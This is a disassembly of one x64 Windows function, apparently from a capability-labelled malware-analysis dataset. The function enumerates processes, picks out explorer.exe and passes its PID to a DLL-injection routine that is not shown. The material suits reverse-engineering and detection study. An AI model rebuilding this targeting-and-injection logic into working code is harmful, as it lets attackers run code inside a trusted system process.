Function at 0x1400019ac
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x120], rax
cmp qword [rbp + 0x120], 0xffffffffffffffff
je 0x140001bad
mov dword [rbp - 0x50], 0x130
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x120]
mov rdx, rax
call sym.Process32First
test eax, eax
setne al
test al, al
je 0x140001b95
mov qword [rbp + 0x128], 0
lea rax, [rbp - 0x50]
add rax, 0x2c
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp + 0x11c], eax
cmp dword [rbp + 0x11c], 0
jle 0x140001ac1
mov eax, dword [rbp + 0x11c]
cdqe
movabs rdx, 0x3ffffffffffffffc
cmp rdx, rax
jb 0x140001abc
add rax, rax
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x128], rax
lea rax, [rbp - 0x50]
lea rdx, [rax + 0x2c]
mov eax, dword [rbp + 0x11c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x128]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
jmp 0x140001ac1
call sym.__cxa_throw_bad_array_new_length
cmp qword [rbp + 0x128], 0
je 0x140001aed
mov rax, qword [rbp + 0x128]
lea rdx, str.explorer.exe
mov rcx, rax
call sym.wcsstr
test rax, rax
je 0x140001aed
mov eax, 1
jmp 0x140001af2
mov eax, 0
test al, al
je 0x140001b5c
lea rax, str.Target_process_found:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::wcout]
mov rcx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov rax, qword [rbp + 0x128]
mov rdx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
lea rax, str.__PID:
mov rdx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov eax, dword [rbp - 0x48]
mov edx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x14000bfe0]
mov rdx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
mov eax, dword [rbp - 0x48]
mov ecx, eax
call sym.InjectDllPathIntoProcess_unsigned_long_
cmp qword [rbp + 0x128], 0
je 0x140001b75
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x120]
mov rdx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x140001a08
mov rax, qword [rbp + 0x120]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001c40
lea rax, [rbp + 0x10f]
mov qword [rbp + 0x110], rax
nop
nop
lea rdx, [rbp + 0x10f]
lea rax, [rbp + 0xe0]
mov r8, rdx
lea rdx, str.Failed_to_create_process_snapshot.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x10f]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
jmp 0x140001c40
add rsp, 0x1b8
pop rbx
pop rbp
ret